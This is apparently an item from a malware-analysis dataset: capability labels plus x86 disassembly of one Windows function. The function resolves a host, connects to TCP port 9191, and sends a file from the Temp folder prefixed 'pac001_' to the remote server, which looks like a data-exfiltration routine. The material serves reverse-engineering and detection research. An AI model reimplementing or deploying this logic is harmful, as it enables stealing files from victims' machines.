Function at 0x403fe8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get common file path
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
lea ebx, [ebp - 0x9c]
mov eax, 0x44064c
call fcn.0040e948
push 0x2300000
push 8
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapAlloc
mov edi, eax
lea edx, [ebp - 0x314]
mov ax, 0x101
push edx
push eax
call sub.WSOCK32.DLL_WSAStartup
mov word [ebx + 0x10], 8
lea ecx, [ebp - 0x20]
lea eax, [ebp - 0x38]
push ecx
inc dword [ebx + 0x1c]
push 0x447fd4
push eax
call fcn.0040268e
add esp, 0xc
lea edx, [ebp - 0x38]
add dword [ebx + 0x1c], 4
push edx
lea ecx, [ebp - 0x50]
push ecx
call fcn.004055cc
add esp, 8
lea esi, [ebp - 0x50]
add dword [ebx + 0x1c], 4
mov eax, dword [esi]
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0xa0], eax
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x50]
mov dword [ebp - 0xa4], edx
mov esi, dword [ebp - 0x50]
test esi, esi
je 0x4040ad
cmp dword [ebp - 0xa4], 0x80
jbe 0x40409e
push esi
call fcn.0040c294
pop ecx
jmp 0x4040ad
push dword [ebp - 0xa4]
push esi
call fcn.004197d0
add esp, 8
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0xa8], eax
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x4040f0
cmp dword [ebp - 0xa8], 0x80
jbe 0x4040e1
push esi
call fcn.0040c294
pop ecx
jmp 0x4040f0
push dword [ebp - 0xa8]
push esi
call fcn.004197d0
add esp, 8
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov word [ebp - 0x324], 2
mov esi, eax
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
mov eax, dword [ecx]
mov dword [ebp - 0x320], eax
push 0x23e7
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x322], ax
lea edx, [ebp - 0x324]
push 0x10
push edx
push esi
call sub.WSOCK32.DLL_connect
inc eax
jne 0x40416c
push edi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
call sub.WSOCK32.DLL_WSAGetLastError
push esi
call sub.WSOCK32.DLL_closesocket
mov ecx, dword [ebx]
mov dword fs:[0], ecx
jmp 0x4043cd
mov word [ebx + 0x10], 0x50
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x60]
push eax
add esp, 0xffffffe8
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 0x5c
push edx
inc dword [ebx + 0x1c]
push 0x44916c
lea ecx, [esp + 8]
push ecx
call fcn.0040268e
add esp, 0xc
add dword [ebx + 0x1c], 4
lea eax, [ebp - 0x78]
push eax
mov word [ebx + 0x10], 0x50
add dword [ebx + 0x1c], 0xfffffffc
call fcn.00405504
add esp, 0x1c
lea edx, [ebp - 0x78]
add dword [ebx + 0x1c], 4
mov dword [ebp - 0xac], edx
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
lea edx, [ebp - 0x18]
push edx
call fcn.0040268e
add dword [ebx + 0x1c], 4
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
add esp, 0xc
mov ecx, dword [ebp - 0x68]
sub ecx, dword [ebp - 0x78]
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x404230
cmp dword [ebp - 0xb0], 0x80
jbe 0x40421c
push dword [ebp - 0xb4]
call fcn.0040c294
pop ecx
jmp 0x404230
push dword [ebp - 0xb0]
push dword [ebp - 0xb4]
call fcn.004197d0
add esp, 8
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov word [ebx + 0x10], 0x44
mov edx, dword [ebp - 0x18]
mov cl, byte [0x44916c]
mov byte [edx], cl
push 0
push dword [ebp - 0x18]
call fcn.0040e6cc
pop ecx
push eax
push dword [ebp - 0x18]
push esi
call sub.WSOCK32.DLL_send
lea eax, [ebp - 0x428]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push str.pac001_
lea edx, [ebp - 0x428]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x184]
push 0xc8
push 0
push ecx
call fcn.0040e5ec
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea edx, [ebp - 0x184]
push edx
call fcn.0040e690
add esp, 8
push 0x448168
lea ecx, [ebp - 0x184]
push ecx
call fcn.0040e690
add esp, 8
push 0x440269
push 0x4490a4
call fcn.00410998
add esp, 8
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x404346
push dword [ebp - 0xb8]
call fcn.004104f0
pop ecx
push esi
call sub.WSOCK32.DLL_closesocket
push edi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov edi, dword [ebp - 8]
sub edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x404333
cmp edi, 0x80
jbe 0x404329
push esi
call fcn.0040c294
pop ecx
jmp 0x404333
push edi
push esi
call fcn.004197d0
add esp, 8
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov eax, dword [ebx]
mov dword fs:[0], eax
jmp 0x4043cd
push dword [ebp - 0xb8]
push 0x2300000
push 1
push edi
call fcn.00410bd8
add esp, 0x10
mov dword [ebp - 0xbc], eax
push 0
push dword [ebp - 0xbc]
push edi
push esi
call sub.WSOCK32.DLL_send
push dword [ebp - 0xb8]
call fcn.004104f0
pop ecx
push esi
call sub.WSOCK32.DLL_closesocket
push edi
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov edi, dword [ebp - 8]
sub edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x4043bf
cmp edi, 0x80
jbe 0x4043b5
push esi
call fcn.0040c294
pop ecx
jmp 0x4043bf
push edi
push esi
call fcn.004197d0
add esp, 8
dec dword [ebx + 0x1c]
dec dword [ebx + 0x1c]
mov eax, dword [ebx]
mov dword fs:[0], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret